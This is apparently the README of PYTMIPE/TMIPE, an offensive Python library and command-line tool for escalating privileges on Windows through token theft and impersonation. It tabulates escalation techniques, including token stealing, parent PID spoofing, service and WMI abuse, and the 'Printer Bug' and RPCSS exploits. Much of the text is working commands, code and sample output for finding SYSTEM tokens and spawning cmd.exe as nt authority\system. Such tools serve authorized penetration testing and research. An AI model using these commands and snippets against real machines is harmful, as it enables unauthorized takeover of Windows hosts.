
Windows 권한 상승을 위해 토큰 조작 및 가장(impersonation)을 수행하는 Python 라이브러리 및 클라이언트
PYTMIPE (토큰 조작 및 가장을 통한 권한 상승을 위한 Python 라이브러리)는 Windows 토큰을 조작하고 가장을 관리하여 Windows에서 더 많은 권한을 얻기 위한 Python 3 라이브러리입니다. __TMIPE__는 pytmipe 라이브러리를 사용하는 Python 3 클라이언트입니다.
슬라이드 "Windows Token Manipulation, Impersonation & Privilege Escalation" (영문): 링크
MISC 112의 기사 (프랑스어): 링크
| 방법 | 필요 권한 | OS (비완전) | 직접 대상 (최대) |
|---|---|---|---|
| 토큰 생성 및 가장 | 사용자 이름 및 비밀번호 | 모든 | 로컬 관리자 |
| 토큰 가장/탈취 | SeDebugPrivilege | 모든 | nt authority\system |
| 부모 PID 스푸핑 (핸들 상속) | SeDebugPrivilege | >= Vista | nt authority\system |
| 서비스 (SCM) | 로컬 관리자 (UAC가 활성화된 경우 높은 무결성 수준) | 모든 | nt authority\system 또는 도메인 계정 |
| WMI 이벤트 | 로컬 관리자 (UAC가 활성화된 경우 높은 무결성 수준) | 모든 | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (서비스 계정) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| RPCSS 서비스 LPE | SeImpersonatePrivilege (서비스 계정) | Windows 10 & Server 2016/2019 | nt authority\system |
다음 비완전 목록은 pytmipe 라이브러리에 구현된 일부 기능을 보여줍니다:
ctypes가 최대한 사용됩니다. pywin32의 많은 기능이 더 나은 이식성을 위해 pywin32 사용을 피하기 위해 pytmipe에서 다시 개발되었습니다. 그러나 Task Scheduler 모듈은 시간 부족으로 여전히 pywin32 (더 정확히는 pythoncom)를 사용합니다. 다른 모든 모듈은 ctypes만 사용합니다.
python 클라이언트 (tmipe 명명)의 경우:
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
python 라이브러리 (pytmipe 명명)의 경우, 소스 코드와 예제를 참조하십시오. 일반적으로 소스 코드를 잘 문서화했습니다... 대부분의 함수가 문서화되어 있습니다.
pyinstaller 예제 및 독립 실행형 파일의 경우 src/examples/ 폴더의 파일을 참조하십시오.
pytmipe 라이브러리를 사용하는 방법을 알고 싶다면 src/examples 폴더에서 많은 예제를 확인하십시오.
첫 번째 system 토큰을 가장하고 python 클라이언트 (tmipe)에서 system으로 cmd.exe 프롬프트를 얻으려면:
python.exe tmipe.py searchimpfirstsystem -vv
pytmipe 라이브러리를 직접 사용하여 동일한 작업을 수행하려면 src/examples/searchAndImpersonateFirstSystemToken.py를 참조하십시오:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
현재 Windows 사용자에게 필요한 권한이 있으면 system으로 cmd.exe 프롬프트가 열립니다. 물론 이 소스 코드에서 pyinstaller로 독립 실행형 exe를 만들 수 있습니다.
현재 프로세스에서 사용되는 기본 및 가장 토큰을 얻으려면:
python.exe tmipe.py printalltokens --current --full --linked
출력:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
가장이 가능한 경우에만 현재 스레드에서 액세스할 수 있는 모든 토큰을 pid로 정리하여 얻으려면:
python.exe tmipe.py printalltokensbypid --imp-only
출력:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
pytmipe 라이브러리로 이 작업을 수행하는 것도 쉽습니다:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
선택한 토큰을 가장할 수 있습니다.
첫 번째 단계, 필터에 따라 모든 토큰 가져오기 (system 토큰 및 현재 스레드에서 가장할 수 있는 토큰):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
출력:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
이전 출력은 pid 2288 (ihandle 118)에 있는 가장 토큰을 보여주며, 이 토큰은 무결성 수준 system입니다. 다음 명령으로 이 특정 토큰을 가장할 수 있습니다:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
이전 명령은 nt authority\system으로 cmd.exe를 엽니다.
이것은 pytmipe 라이브러리로도 수행할 수 있습니다. 다음 소스 코드는 사용 가능한 첫 번째 system 토큰을 가장하고, 유효 토큰을 출력한 다음 가장을 중지합니다:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
기부를 통해 제 작업을 지원하고 싶다면 매우 감사하겠습니다:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf